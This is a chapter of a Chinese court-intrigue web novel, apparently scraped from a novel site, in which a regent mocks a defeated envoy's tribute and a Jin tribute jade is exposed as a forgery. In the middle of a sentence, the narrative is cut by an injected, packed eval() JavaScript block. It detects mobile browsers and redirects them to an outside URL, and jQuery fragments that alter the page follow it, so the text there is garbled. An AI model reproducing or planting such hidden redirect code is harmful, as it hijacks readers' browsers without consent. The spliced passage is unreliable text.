65. 好戏开场
作品:《我杀风雪》 他微微垂头,掩下眼底嗜血的杀意和不甘,他还记得他现在身处何处,为何而来,
大梁最年轻的摄政王裴寂也,一年前正是他亲率大军,在云漠草原大败回纥骑兵,逼得回纥可汗不得不派他前来求和,这份贡品,与其说是朝贡,不如说是战败后的“谢罪礼”。
裴寂也身着玄色蟒纹朝服,腰束玉带,面容冷峻,一双深邃的眼眸似是随意瞥了阙毗伽一眼,随即移开。
阙毗伽不是没见他傲慢的模样,在心底里早已将那人咬死了千百遍,但他还是压下了所有的怨恨,勉强撑起了面上的和善,可没想到裴寂也却在这时开口,
“阙毗伽使者,本王记得,去年云漠一战,回纥骑兵的战马,似乎也颇有几分神骏,为何此次献上的‘至宝’,倒比战场上的战马瘦弱了些?”
声音不高却带着不容置疑的威严,楚知默眼眸微动,眼底终于涌上了一丝兴趣,就连嘴角都微不可查地上扬了几份,
她余光瞥了眼站在另一旁的左高卓,许久未见的丞相风采依旧,看起来比她还英朗几分,只是脸上的表情就耐人寻味得多,
果然,戏还是要人多的,才好看。
这话一出,阙毗伽的脸色瞬间僵了几分,
他抬头扫了裴寂也一眼,这一眼,带着属于野兽的戒备和恶狠,他没想到裴寂也会在这时候发难,
结果直直对上了裴寂也那双幽深的瞳孔,那双眸子深不见底,几乎一瞬间就将他眼底的情绪全都吸收殆尽,将他带回了一年前尸山血海,如地狱一般的草原,
他心中一颤,胸前的手却早已止不住地发颤,这才意识到自己已经失态了,
随即立马看向王座上始终一言未发的小皇帝,慌忙低头,双手攥紧了拳,
“天子明鉴!云漠一战后,草原牧草歉收,战马多有消瘦,这两匹已是可汗从私马中挑选出的最优者,绝非敷衍大梁。”
他这话半真半假,草原牧草确有歉收,但到底是不是真心想要送来,就有的说道了。
裴寂也闻言,嘴角勾起一抹淡淡的弧度,目光转向那两匹汗血宝马。许是感受到他的注视,其中一匹宝马突然扬起前蹄,轻嘶了一声,马鞍上的红宝石随之晃动。
“本王听说,回纥可汗为表诚意,愿将草原南部的三城划归大梁管辖,不知使者此次前来,可有带来可汗的亲笔文书?”
阙毗伽心中一紧,
这事可汗只在私下与他提过,尚未正式拟定文书,想着能拖就拖,裴寂也此刻当众提及,显然是在逼回纥表态。
中原人,都是些心脏的家伙,裴寂也尤甚!
他深吸一口气,硬着头皮道:“可汗已命人草拟文书,只因时间仓促,尚未誊写完毕,待外臣返程时,定会将文书亲手呈给摄政王。”
“哦?”裴寂也挑眉,目光锐利如刀,
“本王记得,回纥使者此次前来,携带的文书足足装了三个木匣,怎会偏偏少了这封最重要的?”
他这话直指要害,阙毗伽的额头瞬间渗出细汗,正要再辩解,裴寂也却话锋一转,
“罢了,本王相信回纥可汗的诚意。只是这两匹宝马,本王看在眼里,倒觉得与其留在宫中,不如送往后营,让大梁的骑兵好好驯养。”
这话几乎是踩在了阙毗伽的脸上嘲讽,你国送来的马,再想要见到时,也许就是在战场上。
这是第一次,楚知默觉得裴寂也那张嘴吐不出象牙的嘴,还是有点用处的。
阙毗伽的脸黑如锅底,几乎是咬着牙躬身应道,
“摄政王所言极是,全凭大梁安排。”
骄傲了一世的阙毗伽从未屈居人下,顺生顺水了一生,第一次吃了败仗,这一败,就再也没赢过,
他能感受到殿中文武百官的目光都落在自己身上,有同情,有嘲讽,更多的是胜利者的从容,这些目光像针一样扎在他身上,让他恨不得立刻逃离这含元殿,可却不得不强撑着,维持着回纥使者的体面,维持着草原人的体面。
御座上的皇帝看够了热闹,轻轻咳嗽一声,缓和了气氛,
“摄政王所言有理,这汗血宝马便依你之意安排。阙毗伽使者,回去告诉回纥可汗,大梁向来善待臣服之国,只要回纥真心归服,大唐必不亏待。”
“谢天子恩典!谢摄政王恩典!”阙毗伽再次躬身行礼,只是这一次,他并没有立刻抬起头,直到内侍示意他退下,他才带着骑士们往外走,
自始至终,他没有一丝狼狈,昂首挺胸,阔步从容,即使有几分强撑的意味,但仍旧有他自己的骄傲和气度。
楚知默眸光微闪,她唾弃过裴寂也的人品,唾弃过他的不择手段,也恨过他不守礼法大逆不道,恨过他心狠手辣。
可她不能否认他的政绩,
作为一个佞臣,他谋权篡位,挟天子以令诸侯,作为一个权臣,他于危难中扶她上位,稳住社稷,率兵出征,平定北狄,
才有今日的朝会。
有时候不得不承认,也许裴寂也比她更适合做这个皇帝,
不光是因为他足够有手段,更是因为他足够心狠,
他又着楚知默这辈子都比不上的心计和魄力。
当年定国公战死,先皇感念老定国公一生定国安邦的功绩,又体谅裴寂也少年失孤,封了他个异姓亲王,
不过是个无实权的闲散亲王,彼时先帝病重,太子孤立无援,外戚与平南王各怀异心,朝堂乱象丛生。
平南王母族柳家欲借势逼宫,裴寂也毛遂自荐,奉皇上之命,假意投诚献宝,
待柳国舅逼宫当日,裴寂也率禁军与倒戈士兵围堵,以“谋逆通敌”罪将柳家三十七名核心党羽下狱,次日尽数处斩,连幼童亦未放过,亲监斩时直言“斩草必除根”。
经此役,他一举夺得了先皇的信任和宠爱,将大部分京畿兵权交予他。
掌权后,裴寂也立马整顿被世家垄断的盐铁官营,将负责盐铁的世家子弟下狱逼供,揪出二十余家涉案世家。
随后调禁军突袭盐仓铁坊,没收非法所得,将三家首恶抄家流放,余者罚重金充国库。
甚至他推出了新制,让国库半年增收三成,百姓称颂。
无数的御史弹劾和骂名与他而言不过是家常便饭,更应为他姓‘裴’,连太子都信不过的先帝居然遂逐步放权。
风头几乎胜过楚元廷。
比起楚元廷,裴寂也更像是楚家人,单凭拔除世家这一点,就是楚元廷都不一定能办得到,身为太子,他牵连到的世家太多,利益纵横交错,各世家大族都不会眼睁睁看着他轻易动
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466360|185363||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
任何一家,
牵一发而动全身,彼与彼之间连着血肉,抽筋剥骨之痛他们这些躺在云上享受了几代的人,怎么可能受得了?
但裴寂也不一样,他无父无母,只剩个在宫中颇受皇帝宠爱的贵妃姐姐,他才不管你受了谁的恩,念着谁的惠!
他就像是一把刽子手的刀,谁会要求一把刀,一把冰冷的武器杀人时有所顾忌?
裴寂也能走到今天,是他一点点杀出来,是他从尸山血海里走出来的,与她这种坐享其成的人可不一样,
只可惜,生在这个帝王家的偏偏是她楚知默,而不是他裴寂也。
“传晋国使者进殿。”
内侍尖细的唱喏声刚落,楚知默回过神,将视线从裴寂也的身上收了回去,
正好见晋国三皇子南宫霄身着月白锦袍,腰束嵌绿松石玉带,身后跟着国舅曹见贤,
二人手捧一方紫檀木匣,缓步走入含元殿。
“外臣南宫霄,携国舅曹见贤,谨代表大晋国主,向大梁天子献上‘照月游龙璧’。”
南宫霄单膝跪地,将木匣高举过头顶。
近距离看见座位上的小皇帝的那一刻,身体突然顿住了一瞬,眼中也闪过异样,直到内侍上前接过匣子,他才回过神,收回视线,
内侍监小心翼翼地打开——刹那间,殿内仿佛有月光倾泻,一块径长尺余的白玉璧静静躺在红绒之上,玉质莹润如冻泉,璧面浮雕的游龙纹在晨光下流转着柔光,连玉璧边缘的缠枝纹都透着细腻温润。
“好一块稀世玉璧!”
殿中文武忍不住低声赞叹,连御座上的楚知默都挑起了眉头,眼中闪过赞赏。
曹见贤见状,紧绷的嘴角稍稍松弛,正要开口再说些祝颂之词,
殿外龙尾道方向突然传来一声疾呼:“陛下且慢!此玉璧乃是赝品,真璧早已被人掉包!”
这声叫喊,几乎将这次朝会粉饰的所有盛相和和谐打破得所剩无几,
众人闻声惊怔,只见一个身着青色布衫的男子快步踏上龙尾道,衣襟上还沾着尘土,显然是赶路而来。
侍卫们见状正要上前阻拦,可那男子却高举双手,朗声道,
“陛下容禀,草民乃是晋国护送贡品队伍中的文书苏墨,此去大梁途中,亲眼见有人暗中勾结护送队统领,将真的‘照月璧’换成赝品,只为私吞真璧牟利!”
此言一出,殿内顿时哗然。南宫霄脸色骤变,猛地转身看向那男子:“你说什么?护送队中何时有你这号人物?”
曹见贤则眉头紧锁,目光锐利地盯着苏墨,沉声道:“你可有证据?若敢造谣污蔑,休怪我晋国不依!”
楚知默眼底划过冷意,就连面色都难看了起来,今日整个皇宫都被围得水泄不通,所有人都瞪着眼睛,生怕出一点差错,一个他国小小的文书,是怎么逃过层层护卫,大摇大摆走进这宫殿的?
她宫里的禁军都是死的吗?
苏墨却毫不畏惧,“陛下真正的照月璧上刻的是三脚的龙纹,但这块玉璧明明就是四脚的蟒纹!”
说罢,众人的目光全都聚焦到了殿中流光溢彩的玉璧上,离得近的人仔细一看,确如这个苏墨所说!
一时朝野上下哗然。
没想到这真的是块假玉璧。